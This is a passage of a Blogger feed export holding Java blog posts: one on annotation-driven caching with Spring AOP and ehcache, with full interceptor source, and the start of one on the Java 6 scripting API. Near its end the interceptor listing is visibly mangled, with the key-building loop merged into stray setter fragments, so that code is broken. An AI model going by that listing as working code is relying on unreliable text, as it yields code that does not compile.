href='http://thechronicles-archit.blogspot.com/feeds/3690503345322809832/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thechronicles-archit.blogspot.com/2008/10/handycam-sony-hdr-sr10e.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/3690503345322809832?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/3690503345322809832?v=2'/><link rel='alternate' type='text/html' href='http://thechronicles-archit.blogspot.com/2008/10/handycam-sony-hdr-sr10e.html' title='Handycam - Sony HDR-SR10E'/><author><name>Archit</name><uri>http://www.blogger.com/profile/12154496247265521997</uri><email>noreply@blogger.com</email></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;C0YFSH46cSp7ImA9WhdSGUs.&quot;'><id>tag:blogger.com,1999:blog-5828130103564874004.post-1356283635989647521</id><published>2008-09-30T14:37:00.000-07:00</published><updated>2011-07-29T10:38:39.019-07:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2011-07-29T10:38:39.019-07:00</app:edited><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><category scheme='http://www.blogger.com/atom/ns#' term='cache'/><category scheme='http://www.blogger.com/atom/ns#' term='AOP'/><title>Declarative Caching with Annotation, AOP and ehcache</title><content type='html'>Recently, we had a requirement of caching static data in the application. The motive was to avoid service calls when data returned by the method was static and changed very rarely. We had to identify such methods and cache their return values. Identifying part was easy, but difficulty came from the code for caching which was polluting the business logic. My code despise acceleration was increasing linearly, with every line of code i wrote for it.&lt;br /&gt;&lt;br /&gt;&lt;iframe src="http://rcm.amazon.com/e/cm?t=httpthechroni-20&amp;o=1&amp;p=8&amp;l=as1&amp;asins=1933988134&amp;fc1=000000&amp;IS2=1&amp;lt1=_blank&amp;m=amazon&amp;lc1=0000FF&amp;bc1=000000&amp;bg1=FFFFFF&amp;f=ifr" style="width:120px;height:240px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;The requirement was clear: separation of caching code from business logic. With AOP which happens to be my new found love and Annotation which is my ex-gf, i figured out this not-the-lady-killer-but-smart-enuf-for-30%-females (its 3:32 am ..hope you guys understand) design.&lt;br /&gt;&lt;br /&gt;Principle : A DeclarativeCachingInterceptor which is invoked before a service method call and based on a "DeclarativeCaching" annotation defined, the interceptor retrieves the cached returned values and returns it. If the elements are not found in cache the call is delegated to the actual method on the target object.&lt;br /&gt;&lt;br /&gt;The annotation "DeclarativeCaching" defines attributes for cache, cacheManager, cacheKey and also the way cacheKey has to be generated.&lt;br /&gt;Below is the Annotation definition&lt;br /&gt;&lt;br /&gt;&lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;;background-image:URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif);padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt; @Retention(RetentionPolicy.RUNTIME)  &lt;br /&gt; @Target(ElementType.METHOD)  &lt;br /&gt; public @interface DeclarativeCaching {  &lt;br /&gt;      public static final String DEFAULT_CACHE_MANAGER = "cacheManager";  &lt;br /&gt;      public static final String CACHE_STATIC = "staticDataCache";  &lt;br /&gt;      public static final String CACHE_EPHEMERAL = "ephemeralDataCache";  &lt;br /&gt;      public static final String DEFAULT_CACHE = CACHE_STATIC;  &lt;br /&gt;      public static final String DEFAULT_BASE_CACHE_KEY = "CACHE_KEY";  &lt;br /&gt;      public enum CACHE_KEY_TYPE {  &lt;br /&gt;           BASE, ARGS, MIXED  &lt;br /&gt;      };  &lt;br /&gt;      String cache() default DEFAULT_CACHE;  &lt;br /&gt;      String cacheManager() default DEFAULT_CACHE_MANAGER;  &lt;br /&gt;      String baseCacheKey() default DEFAULT_BASE_CACHE_KEY;  &lt;br /&gt;      CACHE_KEY_TYPE cacheKeyType() default CACHE_KEY_TYPE.BASE;  &lt;br /&gt; }  &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The cacheKey that is generated by DeclarativeCachingInterceptor, depends on the CACHE_KEY_TYPE defined for the method.&lt;br /&gt;If the type is BASE, then it picks the baseCacheKey defined in the Annotation of the method. This is a scenario when methods dont have an argument defined; the method is returning a 100% pure static data.&lt;br /&gt;&lt;br /&gt;Second case when type is ARGS; in this case only the arguments defined is picked up as the key to look into the cache. Generally this would be used when the method has a cache dedicated for itself, hence it wont need a reference or base cache key.&lt;br /&gt;&lt;br /&gt;Third case when type is MIXED; in this case the baseCacheKey is concatenated to the toString of aurguments to generate a unique cache key. This scenario is for cases when more than one methods share the same cache.&lt;br /&gt;&lt;br /&gt;There a few nitty-gritties in the code which you guys should be able to figure out by looking at the code. below is the code for the interceptor&lt;br /&gt;&lt;br /&gt;&lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;;background-image:URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif);padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt; import java.io.Serializable;  &lt;br /&gt; import java.lang.reflect.Method;  &lt;br /&gt; import net.sf.ehcache.Cache;  &lt;br /&gt; import net.sf.ehcache.CacheManager;  &lt;br /&gt; import net.sf.ehcache.Element;  &lt;br /&gt; import org.aopalliance.intercept.MethodInterceptor;  &lt;br /&gt; import org.aopalliance.intercept.MethodInvocation;  &lt;br /&gt; import org.springframework.aop.support.AopUtils;  &lt;br /&gt; import com.tf.platform.util.delegates.ServiceLocator;  &lt;br /&gt; import com.tf.platform.util.logging.ILoggerCategory;  &lt;br /&gt; import com.tf.platform.util.logging.LoggerFactory;  &lt;br /&gt; import com.tf.platform.util.logging.SuggestedCategory;  &lt;br /&gt; /**  &lt;br /&gt; * Author: archit.pandey  &lt;br /&gt; * Date: Sep 28, 2008  &lt;br /&gt; * Time: 04:43:15 PM  &lt;br /&gt; *  &lt;br /&gt; * A caching interceptor for intercepting service method calls which go to DB eventually.  &lt;br /&gt; * The idea is to save transaction for these service methods. Using DeclarativeCaching annotation  &lt;br /&gt; * such service methods can be annotated to be declaratively cached.  &lt;br /&gt; *  &lt;br /&gt; * The interceptor reads DeclarativeCaching annotation for configuration of the cache and the  &lt;br /&gt; * way return values of these methods are cached. Based on tht it reads from the configured cache  &lt;br /&gt; * and in case a cache hit occurs it halts further invocation proceed to stop a transaction to be created  &lt;br /&gt; * uselessly. In case, a cache miss occurs the invocation is proceeded further to get values from DB.  &lt;br /&gt; *  &lt;br /&gt; * Caution: Because of this modus operandi of DeclarativeCachingInterceptor any further invocations are halted, so  &lt;br /&gt; * if an advisor which depends on calls to actual targetObject should keep a watch here.  &lt;br /&gt; *  &lt;br /&gt; */  &lt;br /&gt; public class DeclarativeCachingInterceptor implements MethodInterceptor {  &lt;br /&gt;      public static final String KEY_ARGS_NAME_SEPARATOR = "_";  &lt;br /&gt;      private final Object NULL_OBJECT = new Object();  &lt;br /&gt;      static ILoggerCategory logger=LoggerFactory.getInstance(DeclarativeCachingInterceptor.class);  &lt;br /&gt;      private CacheManager cacheManager;  &lt;br /&gt;      private Cache staticDataCache;  &lt;br /&gt;      private Cache ephemeralDataCache;  &lt;br /&gt;      private DeclarativeCaching getDeclaredAnnotations(final MethodInvocation methodInvocation)  &lt;br /&gt;      {  &lt;br /&gt;           Method method = methodInvocation.getMethod();  &lt;br /&gt;           Method specificMethod = AopUtils.getMostSpecificMethod(method,methodInvocation.getClass());  &lt;br /&gt;           return specificMethod.getAnnotation(DeclarativeCaching.class);  &lt;br /&gt;      }  &lt;br /&gt;      public Object invoke(final MethodInvocation methodInvocation) throws Throwable {  &lt;br /&gt;           boolean fetchFromPersistenceStore = false;  &lt;br /&gt;           final String methodName = methodInvocation.getMethod().getName();  &lt;br /&gt;           DeclarativeCaching declCachingAnnotations = getDeclaredAnnotations(methodInvocation);  &lt;br /&gt;           if(declCachingAnnotations == null)  &lt;br /&gt;           {  &lt;br /&gt;                if(logger.isDebugEnabled())  &lt;br /&gt;                {  &lt;br /&gt;                     logger.debug("DeclarativeCachingInterceptor was asked to intercept method [ " + methodName + " ] but DeclarativeCaching annotation was not defined. No caching", SuggestedCategory.DATA);  &lt;br /&gt;                }  &lt;br /&gt;                //probably the annotation has not been defined on the method so no caching wanted  &lt;br /&gt;                return methodInvocation.proceed();  &lt;br /&gt;           }  &lt;br /&gt;           String cacheManagerName = declCachingAnnotations.cacheManager();  &lt;br /&gt;           String cacheName = declCachingAnnotations.cache();  &lt;br /&gt;           String baseCacheKey = declCachingAnnotations.baseCacheKey();  &lt;br /&gt;           DeclarativeCaching.CACHE_KEY_TYPE cacheKeyType = declCachingAnnotations.cacheKeyType();  &lt;br /&gt;           //get the cacheManager defined in method annotation if not equal to default cache manager name  &lt;br /&gt;           CacheManager scopedCacheManager = cacheManagerName.equals(DeclarativeCaching.DEFAULT_CACHE_MANAGER)? cacheManager : (CacheManager)ServiceLocator.getInstance().getService(cacheManagerName);  &lt;br /&gt;           //get the cache key  &lt;br /&gt;           String cacheKey = getCacheKey(cacheKeyType,methodInvocation.getArguments(),baseCacheKey);  &lt;br /&gt;           Cache cache = null;  &lt;br /&gt;           if(cacheName.equals(DeclarativeCaching.CACHE_STATIC))  &lt;br /&gt;           {  &lt;br /&gt;                cache = staticDataCache;  &lt;br /&gt;           }  &lt;br /&gt;           else if (cacheName.equals(DeclarativeCaching.CACHE_EPHEMERAL))  &lt;br /&gt;           {  &lt;br /&gt;                cache = ephemeralDataCache;  &lt;br /&gt;           }  &lt;br /&gt;           else  &lt;br /&gt;           {  &lt;br /&gt;                cache = scopedCacheManager.getCache(cacheName);  &lt;br /&gt;           }  &lt;br /&gt;           if(logger.isDebugEnabled())  &lt;br /&gt;           {  &lt;br /&gt;                logger.debug("Caching configuration for method [ " + methodName + " ] " +  &lt;br /&gt;                             " cacheName: [" + cacheName + " ] cacheKey: [ " + cacheKey + " ]" +  &lt;br /&gt;                             " cache: [ " + cache + " ] cacheManager: [ " + scopedCacheManager + " ]" +  &lt;br /&gt;                             " cacheKeyType: [ " + cacheKeyType + " ]", SuggestedCategory.DATA);  &lt;br /&gt;           }  &lt;br /&gt;           Object returnObject = null;  &lt;br /&gt;           if (cache != null) {  &lt;br /&gt;                final Element cacheElement = cache.get(cacheKey);  &lt;br /&gt;                if (cacheElement == null) {  &lt;br /&gt;                     fetchFromPersistenceStore = true;  &lt;br /&gt;                } else {  &lt;br /&gt;                     returnObject = cacheElement.getObjectValue();  &lt;br /&gt;                     if(returnObject == null)  &lt;br /&gt;                     {  &lt;br /&gt;                          logger.info("Cache key fournd but value stored null for method [ " + methodName + " ]",SuggestedCategory.DATA);  &lt;br /&gt;                          fetchFromPersistenceStore = true;  &lt;br /&gt;                     }  &lt;br /&gt;                     else  &lt;br /&gt;                     {  &lt;br /&gt;                          logger.info("Cache Hit for method [ " + methodName + " ]",SuggestedCategory.DATA);  &lt;br /&gt;                          fetchFromPersistenceStore = false;  &lt;br /&gt;                     }  &lt;br /&gt;                }  &lt;br /&gt;           }  &lt;br /&gt;           if (cache == null || fetchFromPersistenceStore) {  &lt;br /&gt;                returnObject = methodInvocation.proceed();  &lt;br /&gt;                logger.info("Return type for method [ " + methodName + " ] fetched from DB or service call", SuggestedCategory.DATA);  &lt;br /&gt;                Element newCacheElement = new Element(cacheKey,returnObject);  &lt;br /&gt;                cache.put(newCacheElement);  &lt;br /&gt;           }  &lt;br /&gt;           return returnObject;  &lt;br /&gt;      }  &lt;br /&gt;      private String getCacheKey(DeclarativeCaching.CACHE_KEY_TYPE cacheKeyType, Object[] methodArgs, String baseCacheKey)  &lt;br /&gt;      {  &lt;br /&gt;           if(cacheKeyType == DeclarativeCaching.CACHE_KEY_TYPE.BASE)  &lt;br /&gt;           {  &lt;br /&gt;                return baseCacheKey;  &lt;br /&gt;           }  &lt;br /&gt;           else if (cacheKeyType == DeclarativeCaching.CACHE_KEY_TYPE.ARGS)  &lt;br /&gt;           {  &lt;br /&gt;                return getCacheKeyFromArgs(methodArgs);  &lt;br /&gt;           }  &lt;br /&gt;           else  &lt;br /&gt;           {  &lt;br /&gt;                return baseCacheKey + KEY_ARGS_NAME_SEPARATOR + getCacheKeyFromArgs(methodArgs);  &lt;br /&gt;           }  &lt;br /&gt;      }  &lt;br /&gt;      private String getCacheKeyFromArgs(final Object[] methodArgs)  &lt;br /&gt;      {  &lt;br /&gt;           if(methodArgs == null)  &lt;br /&gt;           {  &lt;br /&gt;                return null;  &lt;br /&gt;           }  &lt;br /&gt;           final StringBuilder cacheName = new StringBuilder();  &lt;br /&gt;           for (int i = 0; i &amp;lt; cachemanager =" cacheManager;" ephemeraldatacache =" ephemeralDataCache;" staticdatacache =" staticDataCache;"&amp;gt;  &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt; &lt;br /&gt;&lt;br /&gt;I have used spring's AOP and ehcache. So in addition to the above code you need to define an ehcache.xml and spring context file (iff you plan to use spring..else initialize in constructor).&lt;br /&gt;&lt;br /&gt;That's it..simple, cheap, concise but a killer funda to separate caching code from business logic. Once this implementation is in place we only need to annotate a method to cache.&lt;br /&gt;&lt;br /&gt;Hope this was useful. In case you have any suggestions/doubts please drop in a comment here OR mail me at &lt;a href="mailto:archit.pandey@gmail.com"&gt;archit.pandey@gmail.com&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828130103564874004-1356283635989647521?l=thechronicles-archit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thechronicles-archit.blogspot.com/feeds/1356283635989647521/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thechronicles-archit.blogspot.com/2008/09/declarative-caching-with-annotation-aop.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/1356283635989647521?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/1356283635989647521?v=2'/><link rel='alternate' type='text/html' href='http://thechronicles-archit.blogspot.com/2008/09/declarative-caching-with-annotation-aop.html' title='Declarative Caching with Annotation, AOP and ehcache'/><author><name>Archit</name><uri>http://www.blogger.com/profile/12154496247265521997</uri><email>noreply@blogger.com</email></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;C08BQ385cCp7ImA9WhdSGUs.&quot;'><id>tag:blogger.com,1999:blog-5828130103564874004.post-5422779429129104493</id><published>2008-09-21T01:45:00.000-07:00</published><updated>2011-07-29T10:50:52.128-07:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2011-07-29T10:50:52.128-07:00</app:edited><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><category scheme='http://www.blogger.com/atom/ns#' term='script'/><title>Scripting with Java 6</title><content type='html'>&lt;span&gt;&lt;span&gt;&lt;span style="font-weight: bold; font-size: 21px; "&gt;Scripting with JAVA SE 6 (Mustang)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Almost a year back i had stumbled upon the “javax.script” package, which is a scripting API included in the java 6 release. I had read about it at the time JSR-223, the ScriptEngine API, was released. That seemed to be a potential to me. However after about a year, i dont see much of eyebrows raised over there. I guess Java 5 dust is still in settling phase and it would take some more time before people start noticing Java 6 and its features. Still i take an effort here to put forth the API to people who are unaware of a potential API.&lt;br /&gt;&lt;br /&gt;So, why did Java, as a language, including a support for scripting? The recent advent and mass acceptance of scripting languages like Ruby did play a role here. Software related to online content are very concerned about developing their application faster. Industries with dynamically changing content like online advertising, news sites etc, cannot tolerate delay.&lt;br /&gt;&lt;br /&gt;Scripting languages are dynamically typed, i.e., data types are handled dynamically. Same variable can be used to hold different data types. This makes it easier and faster for programmers to write applications. There are pros and cons of this but going into depth of this would lead into static Vs. dynamically typed languages discussion, which is not the objective of this article (For people who are interested in this may like to read &lt;a href="http://mindview.net/WebLog/log-0025"&gt;this&lt;/a&gt; blog by Bruce Eckel).&lt;br /&gt;&lt;br /&gt;Everybody knows the power of scripting languages ( and people who still doubt that may like to read &lt;a href="http://home.pacbell.net/ouster/scripting.html"&gt;this&lt;/a&gt; insightful article by &lt;a href="http://home.pacbell.net/ouster/"&gt;John K Ousterhout&lt;/a&gt;). Java designers were no exception. For long, new scripting engines, written in java, were coming up. These engines enabled Java programmers to use scripting languages from inside java. Third party libraries, like Rhino, Jython, Jakarta ORO, Groovy, are gaining popularity (some are already very famous). Java designers felt the need to standardize such engines, so that a programmer need not go into internals of the scripting engine API and concentrate only on the scripting language itself. The inclusion of “javax.script” package into Java SE 6 (Mustang), is a move in that direction.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; "&gt;The “javax.script” API&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;This API is basically an abstraction over scripting engines that comply with JSR-223. So, you are free to use any scripting language (which has a scripting engine that complies with jsr-223) inside your java code. And this is exactly where the power of this API lies. Write some code using this package and leave some functionality to be implemented using the scripting language that is best suited for the purpose. For e.g., if some functionality demands text data processing, you may use AWK or if you want to use perl you can try the Sleep scripting language (As for now, perl does not figure into the scripting engines supported by jsr-223). So, programmers have got freedom to use the right language for the right purpose. Let’s have a look at the javax.script API.&lt;br /&gt;&lt;br /&gt;The javax.script API is a small one with 6 interfaces and 6 classes (and if somebody said size matters, here is something to prove him wrong).&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;table class="MsoTableGrid" border="1" cellpadding="0" cellspacing="0" style="border-top-width: medium; border-right-width: medium; border-bottom-width: medium; border-left-width: medium; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-color: initial; border-collapse: collapse; "&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td valign="top" width="295" style="border-top-width: 1pt; border-right-width: 1pt; border-bottom-width: 1pt; border-left-width: 1pt; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: windowtext; border-right-color: windowtext; border-bottom-color: windowtext; border-left-color: windowtext; padding-top: 0in; padding-right: 5.4pt; padding-bottom: 0in; padding-left: 5.4pt; width: 221.4pt; "&gt;&lt;p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 0.0001pt; font-size: 12pt; font-family: 'Times New Roman', serif; "&gt;&lt;b&gt;Interfaces&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;&lt;/td&gt;&lt;td valign="top" width="295" style="border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: none; border-top-width: 1pt; border-right-width: 1pt; border-bottom-width: 1pt; border-left-width: medium; padding-top: 0in; padding-right: 5.4pt; padding-bottom: 0in; padding-left: 5.4pt; width: 221.4pt; "&gt;&lt;p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 0.0001pt; font-size: 12pt; font-family: 'Times New Roman', serif; "&gt;&lt;b&gt;Classes&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td valign="top" width="295" style="border-top-style: none; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; padding-top: 0in; padding-right: 5.4pt; padding-bottom: 0in; padding-left: 5.4pt; width: 221.4pt; "&gt;&lt;p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 0.0001pt; font-size: 12pt; font-family: 'Times New Roman', serif; "&gt;&lt;code style="font-family: 'Courier New'; "&gt;&lt;span style="font-size: 10px; "&gt;Bindings&lt;/span&gt;&lt;/code&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 0.0001pt; font-size: 12pt; font-family: 'Times New Roman', serif; "&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;/td&gt;&lt;td valign="top" width="295" style="border-top-style: none; border-right-style: solid; border-bottom-style: solid; border-left-style: none; padding-top: 0in; padding-right: 5.4pt; padding-bottom: 0in; padding-left: 5.4pt; width: 221.4pt; "&gt;&lt;p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 0.0001pt; font-size: 12pt; font-family: 'Times New Roman', serif; "&gt;&lt;code style="font-family: 'Courier New'; "&gt;&lt;span style="font-size: 10px; "&gt;AbstractScriptEngine&lt;/span&gt;&lt;/code&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 0.0001pt; font-size: 12pt; font-family: 'Times New Roman', serif; "&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td valign="top" width="295" style="border-top-style: none; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; padding-top: 0in; padding-right: 5.4pt; padding-bottom: 0in; padding-left: 5.4pt; width: 221.4pt; "&gt;&lt;p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 0.0001pt; font-size: 12pt; font-family: 'Times New Roman', serif; "&gt;&lt;code style="font-family: 'Courier New'; "&gt;&lt;span style="font-size: 10px; "&gt;Compilable&lt;/span&gt;&lt;/code&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 0.0001pt; font-size: 12pt; font-family: 'Times New Roman', serif; "&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;/td&gt;&lt;td valign="top" width="295" style="border-top-style: none; border-right-style: solid; border-bottom-style: solid; border-left-style: none; padding-top: 0in; padding-right: 5.4pt; padding-bottom: 0in; padding-left: 5.4pt; width: 221.4pt; "&gt;&lt;p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 0.0001pt; font-size: 12pt; font-family: 'Times New Roman', serif; "&gt;&lt;code style="font-family: 'Courier New'; "&gt;&lt;span style="font-size: 10px; "&gt;CompiledScript&lt;/span&gt;&lt;/code&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 0.0001pt; font-size: 12pt; font-family: 'Times New Roman', serif; "&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td valign="top" width="295" style="border-top-style: none; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; padding-top: 0in; padding-right: 5.4pt; padding-bottom: 0in; padding-left: 5.4pt; width: 221.4pt; "&gt;&lt;p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 0.0001pt; font-size: 12pt; font-family: 'Times New Roman', serif; "&gt;&lt;code style="font-family: 'Courier New'; "&gt;&lt;span style="font-size: 10px; "&gt;Invocable&lt;/span&gt;&lt;/code&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 0.0001pt; font-size: 12pt; font-family: 'Times New Roman', serif; "&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;/td&gt;&lt;td valign="top" width="295" style="border-top-style: none; border-right-style: solid; border-bottom-style: solid; border-left-style: none; padding-top: 0in; padding-right: 5.4pt; padding-bottom: 0in; padding-left: 5.4pt; width: 221.4pt; "&gt;&lt;p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 0.0001pt; font-size: 12pt; font-family: 'Times New Roman', serif; "&gt;&lt;code style="font-family: 'Courier New'; "&gt;&lt;span style="font-size: 10px; "&gt;ScriptEngineManager&lt;/span&gt;&lt;/code&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 0.0001pt; font-size: 12pt; font-family: 'Times New Roman', serif; "&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td valign="top" width="295" style="border-top-style: none; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; padding-top: 0in; padding-right: 5.4pt; padding-bottom: 0in; padding-left: 5.4pt; width: 221.4pt; "&gt;&lt;p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 0.0001pt; font-size: 12pt; font-family: 'Times New Roman', serif; "&gt;ScriptContext&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;/td&gt;&lt;td valign="top" width="295" style="border-top-style: none; border-right-style: solid; border-bottom-style: solid; border-left-style: none; padding-top: 0in; padding-right: 5.4pt; padding-bottom: 0in; padding-left: 5.4pt; width: 221.4pt; "&gt;&lt;p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 0.0001pt; font-size: 12pt; font-family: 'Times New Roman', serif; "&gt;SimpleBindings&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 0.0001pt; font-size: 12pt; font-family: 'Times New Roman', serif; "&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td valign="top" width="295" style="border-top-style: none; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; padding-top: 0in; padding-right: 5.4pt; padding-bottom: 0in; padding-left: 5.4pt; width: 221.4pt; "&gt;&lt;p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 0.0001pt; font-size: 12pt; font-family: 'Times New Roman', serif; "&gt;&lt;code style="font-family: 'Courier New'; "&gt;&lt;span style="font-size: 10px; "&gt;ScriptEngine&lt;/span&gt;&lt;/code&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;/td&gt;&lt;td valign="top" width="295" style="border-top-style: none; border-right-style: solid; border-bottom-style: solid; border-left-style: none; padding-top: 0in; padding-right: 5.4pt; padding-bottom: 0in; padding-left: 5.4pt; width: 221.4pt; "&gt;&lt;p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 0.0001pt; font-size: 12pt; font-family: 'Times New Roman', serif; "&gt;&lt;code style="font-family: 'Courier New'; "&gt;&lt;span style="font-size: 10px; "&gt;SimpleScriptContext&lt;/span&gt;&lt;/code&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 0.0001pt; font-size: 12pt; font-family: 'Times New Roman', serif; "&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td valign="top" width="295" style="border-top-style: none; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; padding-top: 0in; padding-right: 5.4pt; padding-bottom: 0in; padding-left: 5.4pt; width: 221.4pt; "&gt;&lt;p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 0.0001pt; font-size: 12pt; font-family: 'Times New Roman', serif; "&gt;&lt;code style="font-family: 'Courier New'; "&gt;&lt;span style="font-size: 10px; "&gt;ScriptEngineFactory&lt;/span&gt;&lt;/code&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 0.0001pt; font-size: 12pt; font-family: 'Times New Roman', serif; "&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;/td&gt;&lt;td valign="top" width="295" style="border-top-style: none; border-right-style: solid; border-bottom-style: solid; border-left-style: none; padding-top: 0in; padding-right: 5.4pt; padding-bottom: 0in; padding-left: 5.4pt; width: 221.4pt; "&gt;&lt;p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 0.0001pt; font-size: 12pt; font-family: 'Times New Roman', serif; "&gt;&lt;code style="font-family: 'Courier New'; "&gt;&lt;span style="font-size: 10px; "&gt;ScriptException&lt;/span&gt;&lt;/code&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;span&gt;&lt;span&gt;Looks pretty neat! ScriptEngineManager is the starting class. This class manages the installed scripting engines. To retrieve the scripting engine for your scripting language, you need to query the ScriptEngineManager.&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;;background-image:URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif);padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt; ScriptEngineManager 